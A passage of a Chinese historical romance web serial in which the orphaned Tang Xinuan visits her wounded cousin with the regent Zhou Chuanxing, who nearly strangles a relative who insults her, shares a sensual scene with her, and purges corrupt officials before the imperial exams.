他们犹如刚刚把乌云拨开一条缝隙的利剑，早晚会用他们的能力撕破这暗无天日的黑云，让无尽光明照耀到整个大周朝。 惠及到每个子民。 “对了，寒先生住在王府，看来他也是王爷派的人。” “刚开始咱们还怀疑书院目的不纯，是我等小人之心了。” “真佩服摄政王的为人，也佩服寒先生大义。” “书院对我等免费开放，以后温习功课可以留在书院，免得客栈环境太差，无法用心。” “寒先生可真是大好人，等科举结束，我一定要去寺院给他立一块长生牌，保佑他平安健康。” “我也去。” “我也去。” “带上我，我也去。” …… 陈煜忽然想起件事，“我得给好友写封信，他和我一样十年苦读都没拿到推荐文书，可他没敢来京城，担心进不去考场白花路费，我找人捎给他，让他尽快赶来，还来得及参加科举。” “我也有兄弟是这种情况，那我也回去写封信，让他尽快来京城。” “我也去，我也去，我家亲戚也是读书人。” …… 唐兮暖下午去书院给众多学子答疑解惑。 结束回王府的时候，被人拦在路上。 是楚衍诺的新婚妻子，魏敏娴。 唐兮暖坐在马车里，看见她不由得蹙眉，两人从无来往，她来找自己干什么？ 小倩第一时间联想到世子爷重伤，落下轿帘道：“小姐，您累了一天快点回府吧，世子夫人肯定拦错人了。” 唐兮暖也怀疑魏敏娴找错人了，她吩咐连翘赶车，却听魏敏娴隔着马车喊她：“唐姑娘，我有事请你帮忙。” 唐兮暖又吩咐连翘停车。 “算了，我还t是听听她要说什么吧。” 唐兮暖由连翘扶着跳下马车。 魏敏娴面色紧绷，有些迟疑地走到唐兮暖面前，神情间充满纠结和犹豫，口没开眼泪先落：“你表哥他……快不行了。” 表哥要死了吗？ 前段时间还精神抖擞呢！ 唐兮暖呆呆愣愣的，也不知道心里在想什么，半晌哦了一声，扶着连翘爬上马车。 马车发动，魏敏娴紧走几步追上去，“昏迷中一直喊着你，太医说他也就这两天的事了，不管怎么说，你都是在侯府长大的，真忍心看他含着遗憾离开吗？” 自从见过魏敏娴，唐兮暖的状态一直不好。 回到王府后也没去小勤政殿，直接回了后宅。 进屋后找出之前作了一半的画，握着笔半晌都没落下去。 小倩忍不住担心，“小姐，世子爷受伤，和您没关系，有太医呢，肯定会没事的，您别难过。” 唐兮暖说不清难过还是什么感觉。 她从小长在侯府，和表哥接触是最多的。 除了在成亲这件事上，两人没任何矛盾，表哥甚至没对她说过一句重话。 每次生病，表哥都日夜守在旁边，衣不解带。 她想吃什么，表哥也会想尽办法送到她面前。 除了不许她出府，接触外人，可以说，找不出他任何缺点。 这也是她为什么把自己交给表哥的原因。 可表哥娶别人了啊。 她读书少，没人教过她礼义廉耻，也确定自己不会做个没名没分的小妾或者外室。 这段日子，她忙起来很充实，逐渐找到自己的人生价值。 几乎忘记和表哥相处那些日子。 按照她的理想计划，一辈子不见才好。 可表哥重病，像她父母一样快要离开这个世界。 她又不确定了。 她是个心思单纯，不懂怨恨的姑娘。 原本也没想过报复，面对生离死别，那些不好的回忆越发轻淡 周川行听说魏敏娴找了小姑娘，急急忙忙赶到后宅。 兄妹相见是早晚的事，可他没想到赶在楚衍诺重伤。 朝夕相处十几年的人，万一勾起小姑娘别的情丝…… 周川行都不敢想。 “在画什么，”周川行蹲到小姑娘身边，发现她呆呆愣愣，眼里无光，心口莫名抽紧。 唐兮暖回过神来，想挤出一丝笑。 因为她每次看见二郎笑，心里就特别踏实。 此刻她不想让二郎担心。 但这笑好像被卡住，怎么都挤不出来。 “二郎，你听说表哥受伤的事吗？” 周川行不好瞒她，“已经派最好的太医过去。” 唐兮暖：“他伤得很重吗？为什么会受伤呢？” 周川行：“去江南办差，有人刺杀左丞相，他救人时被人刺伤，在心口稍偏一些的位置。” 唐兮暖紧紧握住周川行的大手，“会死吗？” 周川行忍着心痛安抚：“太医会尽力，会挺过来的。” 唐兮暖心口涩涩的，“他死了，姑母会伤心，表姐表妹也会伤心。魏敏娴想让我去看看他，二郎，我不想去，可是……” 周川行实在见不得自己的小姑娘为难。 他把人抱进怀里轻轻的哄着，“想去就去，不想去就不去，不要纠结。” 唐兮暖蹙眉：“那你会让我去吗？” 周川行怀着沉重的心情点头，“我陪你一起去。” 有二郎陪着，唐兮暖心里轻松多了，“那我们现在去吧。” 楚衍诺受伤很重，主因剑锋上喂毒，他又没及时医治，几百公里赶回京城，鬼门关不知道走了多少圈。 侯夫人和楚衍晴已经哭成泪人。 唐兮暖两个表姐也回来了。 二表姐没说什么，大表姐不停地埋怨侯夫人和楚衍晴。 责怪两人太纵容她，以至于弟弟重伤，人都不肯回来。 “哪个男人不是三妻四妾的，表妹是不一样，可她是罪臣之后，又不通情理，给弟弟做个妾室还委屈她了。 这些年，我们侯府养着她，宠着她，可曾有一点亏待？ 外祖父和舅父泉下有知，也该心存感激，你们竟然还纵着把人放出去。 不知道底细的，还以为我们侯府亏待了她。” 楚衍晴担心大哥，不想和大姐计较。 倒是楚二姐忍不住替表妹还嘴。 “大姐，表妹哪能给阿诺做妾，你也别太惯着阿诺了。” 楚大姐生气道：“怎么说阿诺也是世子，他不给阿诺做妾，难不成还能嫁给王孙公子做正妻？别忘了，她和傻子无异。” 这话连楚衍晴也听不下去了，“大姐……”分辨的话还没出口，忽听管家来报，表姑娘和摄政王来了。 急忙赶出去迎接。 楚大姐一惊，“摄政王？” 很快想到，他们楚家是几个王爷的救命恩人，世子病重，摄政王过府看望也属正常。 “暖暖既然回来，就别让她走了，留下来照顾阿诺。 等阿箬好些，就让两人圆了房。 年纪也不小了，是时候学着照顾人了。” 第70章 离开侯府后,唐兮暖回过几次，不过都是表哥不在的时候。 表哥在家的情况下，她还是第一次回来。 脑海里不由自主浮现出小时候两人相处的情形。 唐家满门被诛,只有她一个“心智不全”的傻子存活。 那段时间，她每天哭着入睡。 只比她大三岁的表哥，像个小大人似的哄她,“表妹，别怕，你还有我，我会做你的依靠，照顾你一辈子。” 从小异于常人的她，以为这样的表哥真会给她依靠一辈子。 可惜，在成长的岁月长河里，他逐渐忘记自己的初衷。 他娶了魏敏娴，连个孩子都不肯让她要。 此生，唐兮暖并不想再和他有什么瓜葛。 今天来看他,也不是对他还有什么忘不掉的感情。 只是侯府养大她不易，念着姑父姑母的恩情,她不忍看二老白发人送黑发人。 侯夫人携阖府给摄政王行礼。 周川行素来不拘小节,“免礼，楚世子怎么样了？” 他把半个太医院都派过来了。 张太医带头回道：“楚世子求生意志薄弱,只怕……” 楚大姐正恼着，看见表妹,想到她忽然失踪，弟弟没日没夜疯狂找人，生气道：“你还知道回来，侯府有什么对不起你的,你竟然一走了之……” “楚夫人慎言！”周川行不耐烦地打断。 楚大姐本名楚衍枝，她嫁的是忠勇郡王庶子。 忠勇郡王是皇室远枝，当年力挺当今皇上上位，被皇上封为郡王。 育有两子。 世子一年前病逝。 楚衍枝的丈夫便成忠勇郡王府独子。 如果皇上没病，已经请封为世子。 就算皇上生病，郡王爵位早晚也会传给她丈夫。 她也就是未来的郡王妃。 算起来，周川行还得喊她一声二嫂。 此刻当着家人被训斥，脸上挂不住，想要分辨，注意到周川行满脸杀气，只能心不甘情不愿的闭上嘴。 可眼神一直盯着唐兮暖。 打算避开周川行再教训这个侯府养大的表妹。 唐兮暖悄悄拉了拉周川行的手指，“二郎，我没事。” 对于她不喜欢的言辞，从不往心里去。 是以大表姐说什么都无法触及她的内心。 周川行不放心，打算跟她一起进卧室，楚衍晴担心大哥做出什么过分的举动刺激到周川行，适时阻拦，“王爷，我带表姐过去。” 唐兮暖也回以一个让他放心的眼神，“我会尽快出来的。” 楚衍诺连续寻找两个月，表妹踪影全无。 这次受伤，心生绝望，浑浑噩噩之际，总觉得表妹在奈何桥上等他。 耳边是家人一遍遍的呼喊，可他的灵魂却不自觉往奈何桥另一边飘荡。 “表妹——” “表妹——” 迷茫生死之际，他胡乱伸手抓握，忽然感觉手心一软。 那股熟悉的感觉逐渐侵入大脑。 他相信，表妹回来了。 就在他身边。 他努力挣扎，想要清醒过来，看清楚眼前的人，奈何他身体亏空严重，无论怎么努力都睁不开眼。 “表哥——” “表哥——” 唐兮暖刚坐到床边，发现表哥有清醒的迹象，急得大喊。 “表哥，你快点醒过来，姑母还在等你，你快点醒过来。” …… 周川行听到动静，抢先迈进卧房，又命太医尽快诊查。 注意到小姑娘的手被床上的病人握住，他霸道又强硬的把手指掰开。 随后拉着小姑娘走出卧室。 “没事吧？” 他眼里全是对小姑娘的关心。 唐兮暖心潮平静，无波无澜，“我没事。” 张太医很快检查完，“王爷，楚世子病情好转，已经度过危险期了，好好用药一天内必醒。” 侯府所有人都松了口气。 “那我们走吧，”侯府这个地方，周川行一刻t都不想多待。 唐兮暖也是这个意思，“姑母，我和二郎回去了。” 侯夫人眼窝含泪，想留侄女多住两天，可儿子那个德行，实在不忍出口。 “有时间多回来看望姑母。” 除楚衍诺受伤后，楚衍晴每天都去王府办差，时常和表姐见面。 她目送表姐，什么话都没说。 楚二姐已经听说过表妹和王爷的事情。 今天好不容易见面，自然要好好叮嘱一番。 不过王爷人冷偏执，她也不好叮嘱太多。 “暖暖，遇到什么解决不了的麻烦，记得跟二表姐说，二表姐永远站在你这边。” 唐兮暖轻轻拥抱了二表姐。 “二郎，我第一次进宫，还是二表姐带我去的。” 也就是那次相遇，周川行一眼万年。 “如此楚二小姐还是我们的媒人了。” 楚二姐哪敢居功，“王爷说笑了，臣女愧不敢当。” 她鼓足勇气，又道：“王爷，表妹和普通人不一样，还请王爷看在家父的面子多照拂一些。” 周川行人冷归冷，但对第一次把小姑娘带到他面前的人，还是很敬重的。 “二小姐放心，暖暖是川行此生最重要的人，宁负天下不负卿。” 楚二姐看得出来，周川行是真心喜欢表妹的。 “有王爷这话，我们就放心了。” 在楚衍枝的印象里，表妹和弟弟才是一对。 就算弟弟娶了魏家姑娘，表妹做个妾室也不算辱没。 毕竟舅舅一家获罪，当年如果没有父亲冒死找皇上进言，保住性命，表妹没死也会充当官妓。 基于这份恩情，表妹都应该留在侯府一辈子。 可她竟然逃走，惹得弟弟疯了一样寻找，险些把京城翻过来。 此刻看见她和摄政王手拉手，双眼被刺痛，忍了又忍，实在忍无可忍，她赶到两人面前拦住。 “暖暖，你不能走。” 唐兮暖下意识看向周川行，“二郎……” 楚衍枝压着怒火道：“你知道你们这叫什么吗？无媒苟合，私定终身，奔者为妾，你想一辈子被人戳脊梁骨吗！” 唐兮暖不懂分辨。 本来就因为无人做主，没有名分发愁，此刻被楚衍枝赤裸裸点出来，又急又气，可她偏生不知道怎么辩解。 “大表姐……” 周川行碍着武安侯对他们兄弟有救命之恩，不愿意找侯府麻烦。 就算楚衍诺不做人，他也一再忍让。 可楚衍枝不该挑战他的底线。 “楚夫人，我看你是不想让你丈夫承爵了。” 周川行如今代行天子令，除了不能给自己下赐婚圣旨，没有什么事是他不能做的。 不看侯府面子，楚衍枝别想活到明天早晨。 “王爷，”楚衍枝自觉有理有据，“表妹从小长在侯府，我们不能眼睁睁看她被人欺负，王爷执掌天下，要多少女人没有，何苦欺负一个没有父母……呃……” 周川行忽然出手，冲锋陷阵十几年，死人堆里爬出来的。 出手又快又准。 他一只手仿佛铁箍一般，死死扼住楚衍枝的脖子，只要他稍加用力，楚衍枝很快就会在他手里香消玉殒。 “王爷……王爷……” 楚衍枝没想到周川行当众发疯，呼吸困难，她拼命挣扎，“救命……” “王爷——” “王爷饶命。” 侯夫人和楚衍晴急忙赶过来求救，“看在家父面子，放了我长姐吧，弟弟还在昏迷中，家父就这一个儿子，长姐也是急糊涂了，求王爷恕罪。” 关键时刻，侯夫人还有几分清醒，“暖暖，别和你表姐一般见识，快求王爷饶了你表姐，姑母求你了……” 唐兮暖不喜欢大表姐这番言论，但罪不至死。 “二郎……” 周川行目露凶光，满脸杀气。 在小姑娘柔软嗓音传进耳鼓那一刻，仿佛有什么闸口合上一般，所有杀气忽然收敛。 他慢慢松开手指。 不过没完全离开楚衍枝的脖颈。 “楚衍枝，再有下次，别怪本王杀性太重，王太师的女儿又如何，一刀毙命。 不想落得和她一样的下场，就算心里不喜，也给我憋住，表面要做出欢喜祝福的样子，那便相安无事，否则忠勇郡王府别想安宁。” 周川行杀人如麻，不尊常理，不念世俗。 一个十几年前的救命恩人，皇家一直在还，早还的差不多了。 楚衍枝还只是恩人的子女。 周川行杀死她犹如杀死一只蚂蚁。 楚衍枝意识到自己触怒了摄政王，被松开后慌忙跪地求饶。 “王爷恕罪，是臣女无状，胡言乱语了，念在弟弟受伤，家父病重的情分上，饶了我这一次。” 她自己的命可以不要，一双儿女的前程不能不要。 得罪摄政王，忠勇王府再无出头之日。 “王爷和暖暖郎才女貌，天造地设，臣女真心祝愿王爷和暖暖永结同心，佳偶天成，百年好合。” 不管真心假意，这话听着还算顺耳。 周川行的脸色终于缓和些。 “暖暖，你大表姐祝福我们呢。” 唐兮暖心思简单，想不了也不愿意去想太复杂的事情。 不过她还有纠正。 “大表姐说的不对，我们这是女才男貌。” 周川行被她这话哄到，过分硬朗的脸上都浮现出笑意，“二郎有那么好看？” 唐兮暖毫不避讳地点头，“二郎好看，是这世上最好看的男子。” 周川行高兴了。 仿佛刚才的杀气没来过，他温柔又宠溺的点了点小姑娘的鼻子。 “我们家姑娘真有眼光。” 周川行和唐兮暖走后，楚衍枝还有些不服。 楚二姐把人扶起来，安抚道：“大姐，就像王爷说的，心里不喜也要做做样子，忠勇王府的前程可就在你一念之间。 再者，这事弟弟有错在先，他心仪表妹，为什么不好好求娶，妾不像妾，通房…… 这都是他应得的。” 楚衍枝皱眉看向侯夫人，“娘，你也同意？” 侯夫人有什么理由不同意，“这些年，我光顾着你父亲，忽略了暖暖的教育。 如今她找到自己的幸福，我替她高兴还来不及。 只盼着你外公外婆舅舅不要怨恨我，让我死后能有脸面见他们。” 再者，侄女已经和侄子相认。 暖暖的婚事肯定由长兄做主，她这个没尽到责任的姑母哪还好意思干涉。 70-80 第71章 唐兮暖发现如周川行这般硬气的男人也会撒娇耍赖。 两人从侯府离开,男人一直如影随形。 握着她的左手片刻都不肯松开。 回到王府，勤政殿也没去，直接跟她来了后宅。 “我刚才要杀楚衍枝,”周川行小心翼翼观察着小姑娘的神色，“你害怕吗？” 世上怎么有如此俊朗的男人，唐兮暖轻抚他的脸颊,“不怕呢。” 周川行用力握住她不安分的小手，“我只会对别人那样，对你绝对不会。” 唐兮暖相信他，“我知道的。” 常人的心思好猜，唐兮暖不是常人。 小姑娘答应的太痛快，周川行实在无法确定她真实的心意。 “刚才他握你这只手了。” 占有欲作祟，周川行满心委屈瞧着小姑娘。 唐兮暖有过两段感情。 第一段懵懵懂懂，亲情大于爱情，她年纪小，心智又异于常人,在她还不明白感情为何物的时候，稀里糊涂发生关系。 她甚至都不知道,真心爱一个男人才能交付彼此。 如今面对二郎的一双深情眼,心跳忽然加快。 她第一次明白羞涩为何物。 接触到他火热的视线，浑身颤抖,呼吸逐渐滚烫，有种几欲窒息之感。 她想躲开,可又舍不得避而不见。 “二郎，我心跳好快。” “是吗？”周川行按在她心口的位置，“是只有对我才这样吗？” 原来爱上一个人会自发做出很多连自己都无法控制的动作。 比如，她此刻脸颊悄悄爬满红晕,羞羞答答不好意思和他说话。 明明很简单的一个问题，她却臊得难以启齿。 好半天才在他的满心期待下点了点头。 “嗯。” 她以前从来没这样过。 周川行喜极而泣，“暖暖，记住此刻的感觉，只有真正爱上一个人的时候才会因他心跳加快，你是爱我的，只爱我一个。” 唐兮暖化身好奇宝宝，“那你对我也会心跳加快吗？” 周川行握住她的小手按在心口上，“你感觉一下。” 小姑娘美得闭月羞花，娇憨中隐隐透着那么一丝妩媚妖娆。 此刻身穿一条鹅黄色抹胸长裙。 已经完全发育好的姑娘，肌肤莹白如玉，丰盈又饱满，散发着甜蜜勾人的香气。 周川行不光心跳加速，胸口起伏，连喉结都不自然滚动两下。 接触到小姑娘柔荑似的手指，浑身血t液犹如决堤的洪水，喷薄不可控制。 他将小姑娘的手指放到唇边，想到这只小手刚被别的男人碰过，心口仿佛被火烧一般，嫉妒愤怒恨不得想杀人。 唐兮暖眼睁睁看着二郎含住她的手指。 薄唇微凉，可很快便烫得她心口发颤。 先是她的食指，之后中指，无名指小指一一被他“宠幸”，她的一只手臂仿佛不是自己的。 苏苏麻麻无法控制。 “二郎……” 无意识，唇边发出一声嘤咛。 她臊得浑身发软，仿佛被人抽掉骨头一般，完全靠在男人怀里。 “你这样，我好像……活不成了。” 这句活不成当然不是真的活不成。 而是她无法形容此刻的感觉。 想要拒绝，又舍不得。 想要远离，却又希望他再近一些，再近一些。 “不会的，”周川行终于亵完她的手指。 热乎乎的气息打在她敏感的脖颈肌肤上。 唐兮暖又控制不住颤栗，“你好坏，我不要理你了。” 软软的手指没有一点力气，落在周川行心口处，欲拒还迎得十分明显。 “这就受不住了？”周川行用嘴扯开她抹胸上的带子。 衣衫滑落。 露出她娇柔雪白的肌肤。 忽然被人看到，羞臊到难以抑制。 唐兮暖先去挡身体，发现两手太小根本挡不住，又去挡脸。 “坏蛋！” 周川行爱极了她这张嫣红的唇。 轻轻柔柔落上去，逐渐加深。 只怪两人相识太晚，否则请太后做主，他早把人娶回家。 “坏？”周川行挑眉瞧着她，仿佛要把人看进自己的身体里。 “喊声二郎听听。” 二郎这两个字，唐兮暖本来喊得十分自然，被他一双火热的眸子，仿佛做什么坏事一般。 直在唇边打转，好一会才喊出来。 “二郎。” “爱我吗？”小姑娘移开眼，不肯跟他对视，他偏要寻着小姑娘的眼睛看过去。 唐兮暖被他逼着退无可退，咬着嘴唇，羞羞答答的点头。 “不够，”周川行怎么可能满意，“说出来。” “爱的。”唐兮暖被逼着直视他的眼睛。 他一双深眸含着无尽的深意，吸得她慌乱无措，无法自便。 周川行还不满足，“说你爱我。” 唐兮暖扭捏半晌，实在羞得难受，“我爱你，”说完便扯被子蒙在脸上，“羞死了，总要人家说这种话。” 周川行不可能放过她，“再说一遍。” 唐兮暖飞快扯开被子，飞快说完“我爱你”重新蒙上被子。 周川行忍俊不禁，“小坏蛋，知道捉弄我了。” 两人嬉闹半宿，明天唐兮暖还要给学子授课，周川行心疼小姑娘，努力克制住即将爆发的玉望，打算起身离开。 唐兮暖拉着他不肯松手，“二郎，我们什么时候才能成亲？” 周川行温柔地笑着给她盖好被子，“快了，等这些学子走进考场，我们就成亲。” 左右不过一个多月的事，唐兮暖重新爬起来，在周川行额头上落下一吻。 “二郎，晚安。” 周川行爱极了小姑娘这些小动作，只要看见她，他就觉得世界如此美好，再辛苦些也是值得的。 想让这些学子顺利走进考场并没有那么容易。 太师和睿王两拨人盯着，时刻耍花招使绊子，周川行处处小心，还是会有躲避不及的时候。 太师一党为阻止这场科举，竟然弄出假推荐文书。 打算在科举进场当天，让无数的假学子带着推荐文书冲进书院。 搅乱这场科举。 幸亏被陈煜发现，及时密告给了周川行。 周川行早对太师一党憎恶至极，干脆借着这次机会一次清理干净。 左丞相炮制出一起两千人的谋反案。 自从江南所有官员秘密押解进京，周川行便命端王审理清楚。 又有楚衍诺提供的证据。 一个月后，菜市口斩杀两百余人。 如果不是唯一的小侄女在小勤政殿外跪求一整天，求他放过外公，他连太师一起处死。 不过死罪可免，活罪难饶，幽禁太师于太师府，永世不得出。 左丞相满门抄斩，家产没收。 连同江南一百多名官员，竟然抄没出一千余万两白银。 如此触目惊心的一大笔白银，看得周川行心寒至极。 朝廷养着他们，本想造福百姓，可他们只会搜刮民脂民膏。 这大周朝就是因为有了这些蛀虫才会落到如今这个地步。 害得他连陪小姑娘的时间都挤不出来。 自从这两百多人被斩，太师幽禁后，朝廷安静了许多。 就连一直不停蹦跶的睿王都表现出几分兄友弟恭来。 那些自觉没有建树，只占着官位的昏聩老臣，全部递了辞官申请。 周川行逐个批复，让他们尽快滚回老家。 朝堂设了捐款箱。 但凡识时务的，把这些年吞进去的脏银全部主动吐出来，他既往不咎。 可如果不识时务，他可就派人去查了。 不到半个月时间，国库又收到五百多万两“捐款”。 江南斩杀一百余官员，只能从临近州府暂时借调过去一批。 如今朝堂又空一半，急需人才补充。 这次科举越发重要。 临近开考，周川行忙得夜不能寐，方方面面都务求做到尽善尽美，保证所有学子顺利考完。 按理，乡试结束明年开春还要进行一次会试。 会试后还有殿试。 周川行决定取消会试这步。 乡试出完成绩，直接殿试，所有进士直接安排官职。 先保证从朝廷到地方的正常运行。 正式开考这天，唐兮暖换上男装，亲自到贡院门口为所有学子送行。 她不知道这一个半月会达成什么成果。 不过所有听过她讲课的学子都很尊重她，恭恭敬敬喊她先生。 周川行打算将这次的算学成绩分为四等。 优良中劣。 有些官职要求算学成绩必须是优秀，有些官职可以放宽到中。 劣等成绩，除非其它科目特别优秀，否则基本等于淘汰。 唐兮暖不负责这些，也提不出意见。 反正她觉得，二郎什么决定都是好的。 “公子，”小倩指着刚刚走进贡院的陈煜说，“他刚才给您行礼了，感激您呢。” 唐兮暖第一次体会到自己的重要。 如果父母在天有灵，看到她如此优秀，应该能放心了。 “希望他们都能考个好成绩。” “表妹——” 忽然听到一道熟悉的声音，好心情被打破，唐兮暖浑身僵硬，下意识要跑。 楚衍诺好不容易抓到人影，怎么舍得她逃开。 “表妹，我找到害死你父母的人了。” 唐兮暖脚步一顿，她回头看向楚衍诺，“真的？” 紫苏和连翘拦着楚衍诺不肯让他靠近唐兮暖。 可捂不住他的嘴。 “表妹，我什么时候骗过你，这里不方便，我们找个方便地方细说。” 重伤恢复后，他去端王府要人，慢慢发现，表妹根本不在端王府。 而在摄政王府。 明抢不行，他在小勤政殿外连跪三天，哪怕只是见一见表妹这个简单的要求，周川行都不肯答应。 而表妹虽然每天都去书院，从王府到书院一路派了无数的保镖护卫。 他根本无法近身。 今天学子开考，周川行一心都扑在科举上，终于给他逮到机会。 “表妹，父母之仇不共戴天，外公、舅父舅母死不瞑目，你难道不想为他们报仇吗？” 第72章 唐兮暖有感知,包括二郎在内，哥哥、姑母、表妹所有人都知道她的仇人，甚至这个仇人很可能就在她身边。 可他们都不肯告诉她。 离开侯府这几个月成长迅速,她已经学会分析人情世故。 要么敌人距她太远，知道真相也无法报仇。 要么就是敌人太过强大，她的力量实在太小,她还无法与之抗衡。 当年父亲把她送进侯府，一再告诉她，她是个傻子，傻子才能活命。 父亲临死之际还在叮嘱她装疯卖傻，可见对方是个强大到能随时把她捏死的人。 她从小长在侯府，姑母身为侯夫人尚且无法与之抗衡，不得不装聋作哑。 那这个人至少比侯府强硬。 三公九卿。 六部尚书。 皇亲国戚。 皇上？ 三公九卿和六部尚书，侯府可能忌惮，可二郎绝对不会。 那她的仇家不是王爷就是皇上了。 如今大权在握的王爷，她也认识几个。 端王和睿王比她大不了几岁,十几年前还是小孩子。 那就只剩下皇上了。 难道她的仇家是皇上？ 唐兮暖不好妄下定论，可能让二郎忌惮的人,似乎只有皇上。 “紫苏,连翘，”唐兮暖示意剑拔弩张的两个人退下,“让表哥过来。” 楚衍诺终于有机会和表妹亲近，他控制不住激动飞快赶到表妹面前,想要t把人抱住。 却被表妹冷漠又无情的避开。 唐兮暖解下腰间悬挂的武器，瞄着路边百年老树扣动机关。 只见一枚比弓弩手射出的箭羽速度还快的钢针，瞬息之间从她手中的武器打出，直接穿透百年老树。 眼看着百年老树留下一个裂开的孔洞。 换成人,肯定被穿个血窟窿。 不致命的地方也要养两三个月才能痊愈。 打在致命处，转瞬间便能见到太奶奶。 唐兮暖不想把这么残暴的武器用在亲人身上。 可如果表哥不顾她的意愿勉强，她不介意让他成为第一个感受此武器的人。 楚衍诺第一次见识这么厉害的武器。 还是他那个软弱不能自理的表妹发射出来的。 他简直不敢相信自己的眼睛。 “表妹……” 唐兮暖绷着雪白的小脸，认认真真道：“不管你要说什么，都要遵守我这几个条件，否则下一次我就不是往树上射了。” 听说表妹要将武器瞄准自己，楚衍诺的心口方法被人剜个血窟窿。 他一手养大的小姑娘，怎么能如此对他。 “表妹……” 唐兮暖坚韧而平静道：“第一，不许让我跟你回去，第二不许仗恩要挟，第三不许离间我和二郎，讲二郎坏话。 做不到这三点，你不会听你讲任何话。” “二郎……”楚衍诺心痛如绞，自认一向坚强的男人，眼窝控制不住涌出湿意。 “他是你的二郎，那我是什么？” 他使劲按住快要崩裂的心口，“我对你不好吗？我们十几年的感情都是过往烟云吗？你和他才相处几天，我们可有十几年的感情，我还是你表哥……” 唐兮暖了解自己，这几个月虽然进步很大，可和常人还有一定差距。 她思维跟不上表哥，也辨别不过表哥，再听他说下去，情急之下不能保证自己会做什么。 她忽然举起武器，瞄准对方的左腿。 “表哥，再废话，我就按动机关了。” 楚衍诺不怕威胁，他逆着光线往表妹面前跨出一步，心痛难忍道：“我可是你表哥，做了什么对不起你的事，让你拿着武器对准我，你想要我的命吗？ 没有你，我生不如死，你别打腿，往心口上射，看我会不会害怕地躲开。” 唐兮暖就知道自己不是表哥对手。 这才几句话，就把她逼到无路可退。 “连翘，紫苏，把他赶走。” 她收了武器转身对小倩说：“我们走。” 楚衍诺的功夫确实在紫苏和连翘之上。 可也就高出那么一点点。 而紫苏和连翘联合，他占不到一点便宜，眼看着表妹要走，躲回王府，下次见面还不知道猴年马月，他只能退而求其次。 “表妹，我错了，你别走，我什么都不说了，什么都不说了，你别走，我这就把仇家告诉你。” 唐兮暖虽然不怎么相信，可为了早点知道仇家，还是停住脚步。 “说重点，我还认你这个亲戚，否则别怪我把你当成陌生人。” 楚衍诺虽然心痛，可逐渐稳住情绪。 他反应迅速，心知现在无法带走表妹，可也不会让摄政王好过。 “这里不方便，我们找个安静的地方慢说。” 一行人来到附近的茶楼。 小倩寸步不离跟着唐兮暖进了包厢。 紫苏和连翘守在门口。 楚衍诺关好门，盯着日思夜想的表妹，有口难言。 表妹五岁进府，他们朝夕相处十四年。 他以为这辈子，他会和表妹一起扶持到老，死后同棺而葬，下辈子还在一起。 他从来没想过，有一天表妹会离开他。 走的那样决绝，甚至不曾给他任何缓冲的机会。 如今，她还有了别的男人，亲昵的喊那个人二郎。 她都不曾喊过他楚郎。 “表妹……” 唐兮暖不想听他废话，担心自己一时分辨不清，被他带偏。 “表哥，你最好直接告诉我，否则我以后再也不会见你。” 楚衍诺认命又绝望般点了点头，“这么大的事，我怎么可能瞒着你呢，只要你开口问，我早就告诉你了。” 唐兮暖皱眉：“我的仇人是谁？到底是谁害死我一家人的？” 楚衍诺心思飞快转动，“主谋……主谋是太师和皇后。” 他没说假话。 唐兮暖还以为是哪位王爷，原来竟是太师和皇后。 二郎不怕太师。 小公主跪在勤政殿求二郎放过太师这件事，她是知道的。 可皇后是他嫂子，他自然不好痛下杀手。 “还有帮凶？帮凶是谁？” 楚衍诺迁怒周川行，肯定不会让他摘干净，“帮凶是……皇上。” 就不信周川行为了一个女人会背叛他一母同胞的皇兄。 其实当年唐家出事时，九五之尊还不是当今皇上。 唐家被满门抄斩的第二个月，周川行父亲黄袍加身，被迫登上皇位。 可他胆子小，只当了一天皇上，叛军攻入京城，他吓得肝胆俱裂，死在龙椅上。 当今的皇上作为嫡长子，无奈登基。 那个时候周川行和周川谨以及尚在襁褓的朝栎，都是别人砧板上的鱼肉。 随时都可能被人害死。 武安侯原本是敌方阵营的四品武官，奉命追杀兄弟几人。 可他看着几个孩童动了恻隐之心，不光放了几个孩子，还为他们提供庇护。 这也就是周川行兄弟几人感恩武安侯的原因。 没有武安侯，他们几兄弟早就被团灭了。 也正是武安侯临阵倒戈，皇上才能坐稳皇位。 而武安侯背叛旧主，名声一直不好。 楚家既失去旧主庇护，又被太师一党忌惮，十几年一直处于权利边缘。 …… 这是楚衍诺第一次欺骗表妹，堪比吞下一大口黄连。 苦到他口腔麻木。 可他能怎么办。 如果不这么做，表妹就彻底离开他了。 “表妹，周川行他不会帮你的，那可是他的亲哥哥。 他现在喜欢你，护着你，无非因为你长得漂亮，又好哄骗，但凡知道你知道了真相，他会毫不犹豫站到皇上那边。 到时候你无依无靠，孤苦伶仃，还不由着他欺负。 表妹，这个世上，只有我才是对你最好的人，你相信我，跟我回家……” 唐兮暖忽然举起武器，瞄准楚衍诺的心脏。 “我说过，不许你离间我和二郎，再多说一句，我就射穿你的心脏。” 自己一手养大的表妹要杀他，楚衍诺满心绝望，“表妹……你可真是我的好表妹！” 唐兮暖今天吸收了太多负能量，此刻身心俱疲。 她不想再和表哥多言，决定立刻回府。 “表哥，真相我自己会查，但凡发现你骗了我，咱们之间所有帐，我会跟你一起算。 小倩，我们走。” 她往外走了两步，忽然想到砚台，“表哥，外公留给我的砚台，一会儿我会派人去侯府取，希望你能痛痛快快还给我。” 连翘第一次夜探侯府，被楚衍诺抓住，他就猜到表妹要和别的男人私定终身。 之后他把砚台藏到一个谁都找不到的地方。 连翘又去过几次，果然一无所获。 此刻表妹亲自跟他要，仿佛在要他的命。 表妹不肯跟他回去，那块砚台是唯一留给他的东西。 他绝对不会让表妹嫁给别人的。 “我不知道放在哪里了，找到会还给你。” “最好如此，”唐兮暖毫不犹豫离开包厢。 楚衍诺紧紧追上去，被紫苏和连翘毫不留情地拦住。 “楚世子，请自重！” 楚衍诺眼睁睁看着表妹从他眼前消失，仿佛他的生命也在一点一点的抽离。 他赶到窗口冲楼下大喊：“表妹，我等你，不管什么时候，我都等你。” 唐兮暖仿佛没听见一般毅然决然离开茶楼。 她现在只想查清楚当年真相，为父母报仇。 唐兮暖赶到楼下时，正好和急急忙忙赶来找她的周川行撞个正着。 他刚从考场出来，听说小姑娘被楚世子带走，哪还顾得上朝事。 朝政只是他的事业，小姑娘可是他的命根子。 没有事业能活，没命还怎么活。 “暖暖……” 他把人抓进手里，仔细打量，“他有没有欺负你？” 唐兮暖想念父母，又担心自己能力有限无法为父母讨回公道，一颗拧成麻花。 见到周川行既委屈又难过。 “二郎……” 小姑娘眼泪扑朔朔地往下掉，颗颗砸在周川行的心尖上。 他紧紧把人抱进怀里，轻声安抚：“不怕，不管发生什么事，都有二郎呢。” 第73章 